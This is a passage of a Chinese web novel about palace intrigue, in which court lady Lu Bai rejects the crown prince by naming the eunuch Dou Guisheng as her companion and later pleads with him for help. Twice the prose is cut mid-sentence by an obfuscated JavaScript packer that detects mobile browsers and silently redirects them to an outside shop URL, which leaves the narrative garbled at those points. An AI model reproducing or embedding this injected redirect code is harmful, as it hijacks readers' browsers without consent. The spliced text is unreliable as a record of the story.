跪地行礼后,鹿白没敢抬头,眼观鼻鼻观心。然而,皇帝的一句话却如同惊天响雷,劈得她哑然忘语,骇然失色,目瞪口呆。 “陆——先叫陆白吧,方才太子都与朕说了,既然你们彼此有意,礼部便着手准备迎娶太子良娣了。” 鹿白也顾不得天不天威了,当即猛地抬起头,张大嘴,瞪着眼,吐出一句中气十足的话: “……啊???” 见状,窦贵生的心“咯噔”一下沉到了底。看这样,方才所说都是真的了。 今日围猎结束,皇子众臣依次献礼。皇帝白日亲自入围,猎获一头豹子、两只鹿,还得了一只能给皇后做围脖的狐狸,因此回营之后一直兴致颇高。 窦贵生却眼皮直跳。吴玉一整日都没怎么出现,连说起北边战况的事,也只道是小打小闹,一切如常。这老匹夫满肚子坏水儿,不定憋着往谁身上呲呢!他一整日都留神吴玉,果然见他神色戚戚,似乎有些难言之隐,不吐不快。 等到献礼结束,皇帝达到了兴奋的峰顶,吴玉才察言观色地站了出来:“圣上,老臣有一事相求。” 他一出列,皇帝就开始青筋乱跳,险些当场拂袖而去。霍皇后一把按住了他,低声道:“圣上,稍安勿躁……” 皇帝捂嘴咳了一声,强忍不耐坐了回去:“吴相何必与朕客气,有事直说就是了。” 吴玉先是长篇大论、口若悬河地讲了一番忠义孝悌,天理人伦,接着称颂了一遍皇帝与先皇、皇太后,与众皇子公主间可歌可泣的亲情,最后说到自己妻女早逝,孤苦伶仃,忍不住掉了两滴悲伤的眼泪。 皇帝听得脑仁隐隐作痛,不得已打断了他:“吴相不必拘礼,直说就是。” 吴玉撩起袍角跪了下去:“圣上,臣近日查明一件陈年旧事,若不禀明圣上,实在辗转反侧,寝食难安。” 皇帝差点拍案而起:那你倒是禀啊!但他没有这等勇气,只是默默瞪了一会儿眼,等这阵气消下去,抬手道:“说吧。” 吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218250|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉颤颤巍巍地叩了个响头:“禀圣上,臣昨日方知,小女并未早夭,而是幸得善人所救,仍在人世。” 皇帝“嗯”了一声,终于觉出有点意思:“那人呢,找到了吗?” 吴玉伏趴得更低了,只露出一个斑白的后脑,声音激动得发颤:“找到了,就在莫啼院,十六殿下身边。六品女史,陆白是也。” 窦贵生吃了一惊,但旋即便冷静下来,心中哂笑连连。为了把人送进东宫,吴玉可真是煞费苦心呐!平日里就觉得他惺惺作态,装出一副对早亡妻女情深义重的德行。 九皇子究竟给了他多少好处,连死了的女儿都不放过? 敢情这是要把皇位让给他了,窦贵生无不讥讽地想道。 核心思想表达完毕,后头吴玉的唠唠叨叨已经没人再听了。皇帝露出一个如释重负的笑:“还以为是什么大事,既然人找到了,吴相领回去就是了。快起来吧,我叫贵生带你去领人。” 霍皇后扯了扯皇帝的袖子,悄声道:“圣上,还没问过元真呢。” 皇帝一愣。哦,原来十六叫元真。 他在场内扫视一圈,瞧见了末尾那个孱弱的人影。哦,原来这就是元真。 十六皇子紧紧盯着前头,见皇帝看过来,立马紧张地垂了头。 “那就叫——”皇帝望见他瑟瑟缩缩、鹌鹑似的模样,顿时改了主意,“那叫陆白过来吧。” 窦贵生忍不住用右手拇指去扣无名指上的茧。入宫多年,一紧张他就会做这个动作。完全下意识,怎么改都改不过来。 死孩子,可别傻不愣登叫圣上给砍了!他心中暗道。转头又无声笑了一下,自己跟这儿操什么心,别管真的假的,在圣上那儿,她可算是当朝丞相的嫡亲独女了。 但接下来,事情的发展显然超出了所有人的意料,连窦贵生都慌了神。 吴玉谢了恩,还没等从地上爬起来,便被大踏步赶来的太子稳稳扶住了。 “真是再巧不过了。”东宫之主依旧如平日一样谦抑温和,眉梢间多了几分显而易见的庆幸,“本来不愿为这等小事惊动圣上,现在看来,不是小事了。” 吴玉惶恐推让,退到一旁:“殿下此话何意?” 太子淡道:“东宫意欲迎娶陆白,依吴相所见,良娣之位如何?” 那一声石破天惊的“啊???”之后,现场便陷入一阵呆滞的寂静,甚至比太子说自己跟宫女情投意合时还要静。霍皇后先开口了:“怎么不答,怕什么?” 她语调轻松,满是笑意,似乎还有点看好戏的成分,叫德贵妃立马皱起了眉,在霍皇后再度开口前便急急打断道:“吴相方才所说都是真的?” 太子无奈:“母亲,吴相怎么会在圣上面前随意开口?” 若无十足把握,谁敢在这等场合贸然行事?尤其对方还是吴玉。 德贵妃怅然坐了回去,疲惫道:“那就听皇后和圣上的吧。” 她故意将皇后放在圣上前面,还强调了一番,可惜皇帝压根不想听她说话,更听不出她的挖苦之意了。 “陆白,”太子冲她伸出手,“起来吧。” 鹿白恍然大悟。吴玉所说的“不用担心”原来是这个意思。 丹色的太子常服霸占了视线的一角。也许是才去湖畔走过,鞋上沾了几颗几乎可以忽略的泥渍,现在已经干了,变成几团骨灰似的浅斑。这鞋尖,比她下巴脏多了,鹿白默默道。 太子仍在等她回答。 她眼皮微抬,瞥了那双素净的手一眼。没有薄茧,没有墨香,红润温热。 不一样。 思绪还没在脑回路走完一圈,她就鬼使神差地磕了一个头,铿锵有力的声音脱口而出: “回圣上,殿下所说皆是误会。臣已与人结为对食,情投意合,两情相悦,实在不敢妄想高攀太子殿下。臣……臣该死,请圣上责罚!” 鸦雀无声。 德贵妃脸色黑得能滴出墨来,霍皇后不好再开腔,皇帝却突然来了兴趣,好奇道:“你与谁结为对食了,说来听听。” 鹿白被他的态度感染,无知无畏的底气油然而生。她抬起头,没有说话,朝皇帝身后的楠木屏风明目张胆地望了一眼。霎时,几十双眼睛齐刷刷地汇聚到那个板着脸的老太监身上。 窦贵生的脑子“轰”一下炸了。 15. 第 15 章 结为对食,有什么不好的? 从此以后,鹿白不再仅仅是鹿白,而是“窦贵生的对食,鹿白”,她的一举一动都跟他脱不开干系。她得罪了人,他便要去拉下面子赔礼道歉;她受人欺负,他便要想办法给她找补回来,不然等于自己脸上无光。 她再跟人说起“所谓酒后助兴都是胡编乱造,不可轻信,事实是男人醉得太过,根本就举不起来”,少不得要被人以为是老太监跟她玩些龌龊、肮脏、下流的花样。 又或者,单单是与人结为对食本身,就足以叫窦某人多年的积威顷刻间消失殆尽了。 自然,还有更大的坏处,此刻就摆在窦贵生眼前。 鹿白的眼神很明显,连皇帝都侧了头来看窦贵生。视线编织成的巨伞在窦贵生头上张起一层隔音的网,他脑子响,耳朵响,连身上的骨头也咯吱咯吱直响。嗡隆嗡隆,响彻天际。 事件的罪魁祸首鹿白,没有任何自觉,仍旧没羞没臊地眨着那双痴呆澄澈的大眼,冲窦贵生浅笑一下,轻启薄唇。仿佛下一句就要说:“先生,咱们不都亲过了!” 窦贵生的脸白了又绿,绿了又黑,黑了又紫。理智从他第九交响曲般杂乱无章的思绪中脱颖而出,在鹿白开口之前,牵引着他四肢的提线,一步,一步,走到皇帝面前,走到处刑场的中央。 “回圣上,陆白所言,”窦贵生跪得铮铮铁骨,跪得惨绝人寰,“……句句属实。” 鹿白眨了眨眼。她还没言呢,怎么就句句属实了?难不成两情相悦那句是真的? 跟她急于找个脱身之法一样,他和谢嫔那档子事,一定也需要一个合法身份的掩护。鹿白觉得她很理解窦贵生。 皇上全无被冒犯或顶撞的愤怒,反倒抚掌大笑:“贵生,你也有今天啊!” 直到被霍皇后在桌子底下掐了一把,他才注意到一旁的德贵妃鼻子都气歪了。非但德贵妃如此,太子脸色也不好看,众臣或尴尬或愤慨,就连当事两人都战战兢兢仿佛做错了事。只有他一个人最高兴。 皇帝这才意识到,此事已经算作标准的皇室丑闻了。太子和太监虽只差一字,年纪只差一岁,就连衣裳都近乎相同,但谁都知道,他们之间有着无法逾越的云泥之别。 到手的东宫良娣被一个太监截胡了,显然已经超出了太子的承受范围。 他做不出争风吃醋这等自降身份的事,只低低、低低地笑了一声:“呵。” 那声音如同灌了铅般从二十九岁的太子口中跌落,在三十岁的窦贵生面前滚了一圈,蒙上一层厚重的尘埃,在已过花甲的吴玉脚边缓缓停下,带着一股超越年龄的沧桑。 吴玉没有任何反应,他直接被气晕了,因此也来不及跟鹿白上演父女相认的感人戏码。现场一片骚乱,晕倒的丞相被手忙脚乱地抬了出去,太子也坐回了尊贵的储君之位,仿佛方才什么事都没发生过。 皇帝不觉得此事存在任何有违常理之处。总之没发生在他身上,没发生在九皇子身上,事儿都不叫事儿。 “既然如此,我也不好棒打鸳鸯。良娣之事就算了吧,太子要是喜欢,叫你母亲再给你选两个。”皇帝不甚在意道。 鹿白松了口气:“多谢圣上。” 皇帝又笑着感叹了一句:“真是巧啊。” 若是知道鹿白正是由吴玉的母家表姐送入宫中,他少不得又要感叹一番:太巧了! 霍皇后却对身旁的人感到无比头疼。这是棒打鸳鸯的事儿吗?眼前跪着的这个不是莫啼院的小小宫女,而是吴相的嫡亲女儿,他为这对鸳鸯的合法性盖了章,人家吴相能承认吗? 霍皇后端出与她年龄不符的皇后威仪,严肃道:“陆白,本宫问你,方才吴相说,你是他失散多年的嫡亲女儿,你可知道此事?” 鹿白摇头:“回皇后娘娘,臣也是方才才知道。” 霍皇后又问:“小时候的事,你还记得多少?” 吴玉的女儿是十二岁时走失的,找到时已经死了。现在众人有理由相信,当时死的那个不是本人,眼前这个幸运得救、被善人养大的才是。 “记不得了。” “爹娘呢?” “也记不得了。” “养父母呢?” “有些印象,具体的臣就、就……” “算了。”霍皇后有些同情。她从九皇子处听说了一些鹿白相关的消息,知道这个细作脑子有那么点问题,但再具体的,九皇子就不愿也不耐烦跟她再说。 她对儿子的种种计划一无所知,但本能地觉得不妙。 不忍再逼迫鹿白,霍皇后向皇帝建议道:“既然找到了父亲,不如圣上就开个恩,把人放出宫吧。” 全然不提她的对食,她的先生,她的主子,她的好友。 毫无疑问,出宫是鹿白梦寐以求的出路。但她该去哪儿?现在出宫,她还有命活着吗?如同硬币的两面,牢笼禁锢了她,也保全了她。 身侧的窦贵生似乎松了口气,笔直的双肩微微前扣,俨然是在庆幸逃出傻子的荼毒与魔爪。鹿白蓦地心生不悦。从刚才她就看出来了,窦贵生一副忍辱负重、宁折不弯的样儿,满脸嫌弃,不情不愿。试问谁又情愿呢! 尖酸刻薄,水性杨花,惺惺作态,都承认了,跟这儿装什么装。好好一个各取所需,到了他脸上就变成了被逼就范。 想得美,鹿白心道,我偏不走。 ——不讲理得忘乎所以。 “禀圣上,禀皇后娘娘,臣不想出宫。”鹿白的语气单纯而朴实,仿佛头一次进城的乡野村妇,令人在对她的直言不讳感到震惊的同时,生不出任何怪罪的心思。 她继续自顾自道:“臣已经不记得亲爹亲娘了,跟吴相称不上熟识,更没想过高攀。现在突然说他是臣的亲爹,实在叫人不敢信,也不愿信。臣天生不是富贵的命,恐怕无福消受相府嫡女的名头。现在得了六品的官职,已是感激不尽,十六殿下待臣很好,臣觉着还是宫里好。宫里待得习惯。” 细品一番,以上陈述竟然一句假话都没有。 如鹿白所愿,最终她还是留在了宫里,留在了莫啼院,留在了十六皇子身边。不过品级倒是升了两级,四品,跟赵芳姑平起平坐了。 女儿不愿意认爹,谁能管得了?尤其是这女儿脑子还有问题,讲道理都讲不通。吴相伤心欲绝,称病不出,此事便被众人默契地忽略了。谁都挺要面子的,除了鹿白。 这一年,平平无奇的秋猎在一场盛大的八卦中平稳结束了。看似风平浪静的海面下,早已是暗潮涌动,只不过彼时的他们尚未发觉罢了。 那日散场,德贵妃从窦贵生身边经过,毫不掩饰地骂了一句“贱奴才、阉狗、不知好歹的东西”。窦贵生倒没放在心上,比这难听的话多了去了,他若是都往心里去,岂不是早就气死了。 但叫他心中发寒的是两位皇子的态度。太子自然不必说,当众被下了面子,他像是摘下了东宫储君温润宽和的面具,明晃晃地对窦贵生表示了厌恶。九皇子更甚,他直接踹了窦贵生一脚:“狗东西。” 他还想再踢鹿白一脚,被她膝行两步躲了过去。他冷嗤一声,引用方才德贵妃的话骂道:“不知好歹的蠢货!” 窦贵生抬头时,便见到九皇子少年稚气的脸上布满阴云,恨意和笑意夹杂,狠厉而暴虐。一瞬间,瘆人的寒意顺着脊背蹿入脑海,只消片刻,背上已是冷汗涔涔。 少年的恶是世间最纯正的恶,毫无原则,毫无底线,甚至不需要思索。究竟是因为单纯看不顺眼,还是因为他的出现破坏了九皇子往太子身边插人的计划,已经不重要了。 九殿下想杀了他,窦贵生心中喃喃。太子想杀了他,德贵妃想杀了他,吴玉想杀了他,如今人人都得罪了个遍,人人都恨不得杀了他。 鹿白也一样。在说出“对食”那句话时,她已经杀了他一回。 那么,结为对食,有没有什么好处呢? 没有。起码此刻没有。 唯一算不上好处的好处,便是叫窦贵生知道了鹿白的目的。也许从一开始,对方的目标就不是太子,而是皇帝全心全意信任的秉笔太监,窦贵生。 窦贵生从不自诩是文人,但学了二十年天下文人一贯承袭的仁义道德,难不成还能学出别的东西?价值观告诉他长幼有序,天道伦常,先皇后所出的嫡长子才是正统;奴才的本分却立刻按住他 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顺嫔没资格跟去秋猎,也是等众人回宫才听说了一切。跟前几次一样,她不知怎么就进了屋,不知怎么就抓住了鹿白,边掉眼泪边哭诉:“你肯留下最好了,你若是走了元真该怎么办,元真若是出了事,叫我怎么活!但如今你是相府的……” 赵芳姑咳嗽一声,打断了顺嫔的话:“娘娘别哭坏了身子。”说着递上一张丝帕,提醒顺嫔不该说的别说。 严格说来,现在是他们高攀了,相府正经的嫡女,嫁给谁不好?虽然面上装作若无其事,该打打,该闹闹,但莫啼院的众人都很自欺欺人地避免提及吴玉的名字。仿佛这样鹿白就还是陆女史,陆女史就不会走。 十六皇子作为整个事件的见证者,看鹿白的眼神突然变得明目张胆,笑也多了起来:“小白,你这几天不念书,功课却不能拉下,上次的文章改了吗,给我看看。” 鹿白:“……殿下,你确定这是在关爱我吗?” 十六皇子在袖子底下抠着手指:“我这不是怕你忘了吗,回去万一先生抽问,你又得挨打了。我都是为了你好。”但我绝不会打你,他心中默默补充了一句。 鹿白欲哭无泪:“殿下,你一点都不可爱了。”跟谁学的这一套,悲夫! 在十六皇子自己都未发觉的时候,他已然做出了模仿某位不可爱老太监的举动。出于一种久病之人的敏锐嗅觉,他在小白身上闻到了不同寻常的味道。这味道名曰“危险”,而他必须采取行动。 甄冬跟鹿白住一个屋,近来倒是与她亲近了一些。有天晚上她突然与鹿白挑明:“小白,你留下来,当真是因为舍不得殿下吗?” 因为天性冷淡,再亲切的话从她嘴里说出来也显得生硬。 鹿白反问:“留下难道不好吗?我跟吴相都没见过,傻子才认他当爹。” 甄冬:“对,所以我说你不傻,你都是装的。” 鹿白:“我本来就不傻,我从来没承认过好吗!” 甄冬:“哦,你说得对。你说的都对。” 鹿白:“……” 甄冬披着衣裳坐在她床头,盯着她气鼓鼓的脸颊看了几秒:“吴相病了好些天,你不担心吗?” 鹿白闷闷道:“我跟他又不熟。” “可他是你父亲。” “我信他个鬼。” “……” 过了片刻,甄冬继续道:“你让太子没了脸面,单是德贵妃就不会放过你。吴相虽是丞相,也管不到后宫来,你好自为之吧。” 顿了顿,她补充道:“别牵连殿下就好。” 鹿白没有回答。相比太子,她更担心九皇子的报复。 奇了怪了,她明明一开始不排斥嫁给太子,怎么一到关键时刻就掉链子了呢!究竟是什么神秘的力量,竟然让她置小命与不顾,非得朝窦贵生飞去那一个媚眼呢? 鹿白百思不得其解,最后只得归咎到自己脑子太笨,不能一眼看破事件前因后果。听说下棋有用,得空多学学下棋吧,她心道。 停学了六天,内学堂准备复课。但刚一到学堂,聚集在一处叽叽喳喳的学生们就被赶了出去。 钟鸣九响,全城戒严。老太后薨了。 跟老太后薨逝的消息一起传来的,还有鹿白长跪司礼监门口的通报。窦贵生叹了口气,躲了这么多日,也该做个了断了。 16. 第 16 章 徐大侍来的时候,鹿白已经在司礼监门口跪了小半个时辰了。 “哪里来的丫头,跪在这儿做什么?”徐大侍稀疏的眉毛已经雪白一片,皮肉松弛得像是被揉皱的麻布,用熨斗一熨,也许能展开好几平米。眯缝着老花眼看人时,光秃秃的眉头仿佛挂着两条蚯蚓,十分滑稽。 鹿白不认得他,但见他面容和蔼,便老老实实道:“回老公公,我在等人。” “等人还是求人?” “求人。” 回答干脆利落,徐大侍一下子笑了,笑声像一只风箱。 鹿白跪得笔直,却比干瘦的老公公矮不了多少,她有点好奇地打量着这个不知道从哪儿冒出来的小老头。后来她才知道,徐大侍是老太后身边的老人了,入宫近六十年,连皇帝也不得直呼其名,尊称一声“大侍”。 但阖宫上下,见过徐大侍的人屈指可数——年老后他便不愿四处走动,而年轻时见过他的,则不一定有命活到现在。 “看我矮呀?”徐大侍在她身边站定,“人老了都是这样,你老了也是。” “老公公,你也是来找人的吗?”鹿白扯了扯被风吹歪的孝帽,“此处风大,你去树后头等,等人出来了我喊你。” 正说着,窦贵生就忙不迭地迎出来了。他第一眼便见到跟缟素的丧服几乎融为一体的鹿白,心脏像是被鼠夹陡然袭中,蓦地紧了一下—— 白茫茫的一团雾气。在他梦中出现过无数次的、妖娆的、纯白的、可爱的,终将离开他的一团雾气。人无法留住一团雾气,正如他无法留住鹿白。 那团雾气没有开口,畏缩地后退了半步,拜倒在地。 “窦公公,许久不见了。”徐大侍指着鹿白轻快道,“这丫头跪了许久了,怎么不肯见呢!” 窦贵生忙道:“徐大侍怎么亲自来了?” “先太后有些东西要过库,我来与你们交代交代。你真是好大的架子!”徐大侍并无责备的意思,只是轻飘飘一句玩笑,拐杖脚步轻轻敲了一下,便抬腿往里走。 窦贵生已然从方才的想象中逃出生天,那一片突如其来、悲怆而绝望的湖水几乎要将他吞吃入腹,沉沉淹没。好在他终于挣扎着游上岸了。 “快进去,跪在这儿像什么样子!”他压低声音冲鹿白道。 方才窦贵生“谄媚”的样,已经叫鹿白知道这小老头的身份了。她抬起头瞥了一眼窦贵生,飞快地摇头道:“不了,等你得空我再进去。” 徐大侍被苏福搀着慢慢悠悠往里走,全然把门口两人抛在了脑后。徐大侍是不在意,但司礼监人来人往,单是门口路过的就不在少数,在这儿跪上小半个时辰,不知道叫多少人瞧见了呢。 窦贵生很不愿听,但“连自己的对食都罚当真狠心”、“快别说了仔细窦公公打你”、“这姑姑还真是可怜”等等言论还是顺着呜咽的北风钻进他的耳中。 他又气又急,低吼道:“快点,别跟我闹!” “我没闹。”鹿白就是不肯起,探着脑袋往里看了一眼,“徐大侍等着呢,先生快回去。” 窦贵生脸皮发紧,鼻尖被风吹得通红,忍不住伸手拽她:“死丫头,快起来。” 她面露难色,低声咕哝:“得跪满两个时辰才行呢……”说罢边推窦贵生的腿边催促道,“你快进去,有人看着呢。” “你还知道有人看着,拉拉扯扯成何体统!”窦贵生的骂声从牙缝里钻出来,稍一用力,就把鹿白提溜在手里。 “哎哎,慢点,腿麻了!”鹿白呲牙咧嘴,一把攥住他的手。两只冰块似的手握在一处,压根没有任何知觉,窦贵生却心脏乱跳,下颌狂颤,看似用力地甩了两下都没能甩开。 鹿白保持姿势站了片刻,一恢复知觉立马松了手。窦贵生在后背蹭了蹭手心,终于找回了正常心跳。回想了一下方才的动作,鹿白被拉起来时,第一反应竟是四处张望,瞧着像做贼似的。 窦贵生了然:“有人盯着?” 鹿白用气音道:“是啊。跪满两个时辰才行。” 谁家的傻子这么好骗!窦贵生简直要被气笑了,想骂她一句,但见分外认真的双眼中闪着两点被风吹出的泪光,那句话终究还是咽了回去:“鼻涕都淌出来了。” 在鹿白还没来得及擦的时候,他就趁人不备,扯住她大步流星地往里走。鹿白刚要抵抗,便听他大声冷笑道:“别跟外头丢人现眼,要跪屋里跪着去!” 鹿白嘿嘿笑了一声。他知道了,他一定有办法。 窦贵生把人扔进屋里,状若不经意地瞥了一眼燃着的火盆,警告道:“给我老实待着,不许乱动。” 入了秋,天忽冷忽热,变幻多端。上天仿佛有所感应似的,老太后一薨逝,天就阴了,京城平白无故刮起一阵冷气,吹得人骨头缝里都是叮当作响的风声。偏偏这丧服还是麻布的,一点都不御寒。 一见到火盆,鹿白顿时化身一块磁铁,不受控制地贴了上去。 “多谢先生。”她双手拢在火旁,呲牙笑道,“我等你回来。” 窦贵生“啧”了一声,摔上门走了。 鹿白一愣,赶紧摸了摸鼻子。哎,鼻涕真淌出来了。 常言道夫妻同体,对食即便算不得夫妻,也是一种极度类似夫妻的契约关系。不论实际如何,在外人眼中便是情比金坚的证明。从这层意义上而言,对食比帝后的关系还要坚固得多——后位可以换人,对过的食总不能吐出来。 不是所有母亲都喜欢自己的孩子。 有一类人天生便带有母性,从孩子还在腹中时便期许有加,直至生出来的那一瞬间,她的母爱便达到了前所未有的峰顶,日后数年,渐渐衰减,但直至死亡也依旧沉重浓郁。 还有一类人,不知怎么就怀了胎,不知怎么就生了孩子,生下时只是个陌生人。日复一日,年复一年,当陌生人终于变成熟人时,她才恍然意识到:原来我竟已经是母亲了。 霍皇后便是后一类人。她在青春懵懂之时便入了宫,得了皇帝独一无二的盛宠。在皇帝的浓情蜜意中,她渐渐体味到男女之间的新奇与美好,然而刚要产生些更浓烈、更刻骨铭心的东西时,九皇子便出生了。 因为他的出生,她戴上了凤冠;也因为他的出生,她成了林相口中的妖后。他让她和皇帝洁如白纱的爱恋蒙上了一层不道德的阴影,在他们坚固如铁的夫妻关系上凿下一道罪恶的裂隙。有时她情愿自己没生过他,更愿自己生的是个公主。 霍皇后没亲自带过儿子,也不喜欢他。一不留神,他就被父亲给惯坏了。 该他得的不该他得的全都想要,一个不如意便要四处告状,自己变脸却比翻书还快。她有时候真是烦透了,在他还小、这性子还不太明显的时候,她就亲眼见到他指挥侍卫凌-辱了一个小太监。 小太监衣衫凌乱,裤子上满是血污,双腿已经不能看了,抬回去不出两天就死了。而他呢,他好一番伶牙俐齿,颠倒黑白,竟哄得皇帝赏他一座宅子权当安抚。他还嫌宅子小。 时至今日,一想到那个画面霍皇后就会心悸头晕。这种东西真是她生的吗?也许那时候就该掐死他,一了百了。但一看到父子俩和乐融融的画面,看到皇帝日渐衰老的脸上露出真心的笑,她又忍不住心软。 近年来九皇子也学聪明了,若是想求母亲办事,一定要跟父亲搭上边才行。 是以他找到了霍皇后,信誓旦旦地告诉她,有次酒后,他听到父亲亲口说了这番话:“若不是十六身子不好,太子之位本是他的。他肖母,性子极好,将皇位传给他我能彻底放心。可惜了,可惜我章家人都如此短命……” 这话看似没有任何用意,说的全是夺嫡那点破事。但一定有用,因为它恰到好处地戳中了霍皇后的心病:顺从体贴、温柔坚毅的女人。 九皇子本来就不满吴玉走了鹿白这一步棋,如今这条路失败了,还是被早就想除掉的老太监搅了局,他如何能不气?鹿白,窦贵生,章元真,顺嫔,全都得整治。 霍皇后出于某种隐秘的心思,默许了儿子的行为,还暗自推波助澜了一番。 老太后年岁已高,礼部其实一直在准备,因此消息一出,该走的流程就立马开始。很不幸,顺嫔因为哭灵时声音太小,没能躲过突击检查,被霍皇后拎去责罚了。十六皇子没拦住,还把赵芳姑和甄秋也赔了进去。 鹿白就是为这事儿来的。 九皇子的威胁很有效。她也知道跪满两个时辰是故意羞辱她的,可若他们真的出了事,她又会止不住后悔,止不住懊恼,如果当时跪满了两个时辰,是不是惨剧就不会发生了呢? 不只为他们,也为她自己。 “窦公公。”她恋恋不舍地离了火盆,甚是规矩地跪到他面前,“学生实在愚钝,先生能不能……提点两句?不多,两句就行!” 她觉得求窦贵生还不如求小豆子,但她已经下定决心跟旧爱说再见,只得硬着头皮来了这儿。既来之,则安之,求人就要有求人的态度。她立刻掏出倾家荡产准备的贿赂之财,双手捧到窦贵生眼前。 窦贵生伸出一根手指,从寒酸的荷包上划过,感受着布料底下凹凸不平的金银轮廓。啧,穷死了。 “您是圣上最信得过的人,是宫里头一号,最有面子的人。只要您肯想指条明路,我做什么都行。”鹿白可怜巴巴地奉承道。为方便窦贵生查看,又把一堆金银细软捧得高了些。 闻言,熟悉的烦躁再度袭击了窦贵生。 这些日子它总是时不时跳出来,将他好一番骚扰和戏弄。去太医署开了好几服药,一连喝了五天也没用,他气得将药扔到池塘里,结果毒死了好几条锦鲤。 这一定是她的把戏。镇定的窦秉笔跳了出来,按住了躁动的老窦。 对,她要彻底将他推到两难的境地,明明白白地逼他站队。她才入宫几天呐,对主子有几分真心实意?这分明就是九皇子的试探,站队东宫还是老实投诚,一步踏错,可就再没有回头的余地了。要么——虽然只有微乎其微的可能性——就是她跟十六皇子有了什么,心甘情愿为他四处奔走。 两条都是死路。 他心里忽的生了一丝想要留下鹿白的想法。拿住对方的把柄,交换到他想要的消息、财物或是人,这是窦公公驾轻就熟的一贯套路。把她当个傻子养着也无妨。 但不值。他来不及沉思实施方案,便匆匆否定了这一荒谬的念头。为个傻子,不值当的。 他凝望着鹿白,很想问她:你装这一副可怜相,屡次三番地试探我,不就是为了激我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218252|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、诱我,叫我与九皇子为敌,与皇帝为敌?不就是为逼我、赶我,叫我坠落悬崖,粉身碎骨?你当真这么恨我吗? “你过来。”窦贵生眼神向下移去,睫毛如同铩羽的翅膀般垂了下来,“到我这儿来。” 他很久没用这么温柔的声音说过话了,鹿白不明所以,还有点蠢蠢欲动。她踏着小碎步挪到窦贵生手边,听他掐着嗓子、放缓声音道:“什么都愿意做?” 鹿白使劲点头。 窦贵生睫毛下的眼珠转了转,随着脸的动作一起,对上了鹿白的视线:“既然敢把我拖下水,就该知道后果。对食……你可知道对食都要做什么?” 鹿白:“对食,乃对坐而食也。” 窦贵生轻笑一声。这笑声和目光顿时叫人想起面试官意味深长的眼神和提问:“还有呢?”“你是这样认为的吗?”“就这些吗?” 鹿白一个激灵,立马道:“还有!” “一同吃饭,一同说话,一同睡觉,等你老了我给你擦身子,倒恭桶,给你养老送终。你要是去了,我就买一个最大号的石碑,窦贵生三个字用纯金的金子刻上。我、我天天去哭坟,日日去打扫。还得把小苏公公养大,还、还有就是……” 还有就是,她可真能编。 窦贵生哂笑:“你倒拿起长辈的架子了,苏福几岁你不知道?” 鹿白:“知道,知道。” 窦贵生沉默不语。就在鹿白以为他准备放过她的时候,他忽的勾起一边嘴角,身子往后一仰:“过来。” 戏谑,讥讽,好整以暇。意思很明显。 鹿白满腔壮志豪情霎时被老太监的挑衅点燃了。这就想羞辱她,也太天真了吧? 两道视线在空中交汇,香炉飘出淡蓝色的烟雾,从窦贵生脑后安静地升起,被火盆带起的热气轰散,在屋顶暧昧流连,逡巡徘徊。 她顺从地爬到窦贵生腿上,用两倍于自身体重的力道狠狠坐了上去。那双腿比想象中有力,但仍然承受不住她故意的捉弄。不出所料,窦贵生眉头抽搐了一下。 还有一声闷哼,自然不能叫她听到。 “吃什么长大的,这么沉。”窦贵生依旧一副随时准备撕破她自尊的模样。 “吃的饭呀。”鹿白两下甩了鞋子,侧过身,两脚踩在罗汉床新铺的软垫上,胳膊顺势搂住老太监的脖子。 窦贵生依旧讥笑,拖长的调子很巧妙地没流露出任何僵硬和不适:“仅此而已?” 鹿白盯着他干干净净的脸,一边庆幸太后薨逝,宫人不得傅粉施妆,一边又怀疑不定哪块是被“好妹妹”亲过的,可不能跟别人交叉感染。犹豫半晌,她终于心一横,在他脸上狠狠亲了一口。 一旦开了头,后面就顺利了。鹿白左右开弓,中间也没落下。 窦贵生一动没动。 怀里这玩意是个女人,窦贵生知道。但他不像是抱着女人,倒像是抱着孩子。一个他这辈子也生不出来的孩子。如果他有个女儿,合该好好养着,她也许学不会圆滑处世,也许总是语出惊人,但她知道该如何自保,知道犯了错该找谁,好学上进,不总是戳人肺管子。 不求大智若愚,有点智就行。像鹿白这样就好了。 只一点,不能叫她跟太监搅在一起。 在往后的日子里,鹿白说到做到,说出的每句话、答应窦贵生的每件事都一一兑现。唯独墓碑一事没能成功。她坚决否认自己说过为他养老送终、要认他当爹的种种说辞。每当窦贵生半是玩笑半是认真地提起养了个女儿的话,她就会立马翻脸,好几天不理他。 总之打死不承认。 正如此刻,窦贵生不肯承认自己在想当爹之外还有什么别的感情。 “国丧期间,还在想这种事,简直太不道德了。”鹿白在他耳畔叹气道,“行不道德之事,是不是特别刺激?” 还有宫规,还有师生关系,还有谢嫔,层层叠加,这哪是普通刺激,这简直是直冲中枢神经的高级刺激。 窦贵生僵住了。其实早就僵住了,但鹿白现在才发觉,顿时有种得胜归朝的胜利感。她还不知道,欣赏一个傲娇将是她下半辈子最大的快乐源泉,只是莫名兴奋道:“先生!你再考虑考虑,还要我做什么?” 窦贵生皱眉,字与字的发音都黏成一团:“唔,你这——” 话音未落,鹿白又在他唇上重重亲了一下,像是充满暗示,又像是坦坦荡荡,神秘得叫人猜不透:“我什么花样都会,不会也能学!我……” 底线到了。 不是鹿白的底线,而是他的底线。 窦贵生把她推到一旁,霍然起身。先拂左袖,再拂右袖,再拂衣襟,跟粘了脏东西似的。鹿白光着脚追上去,继续央求道:“做什么你才答应?” 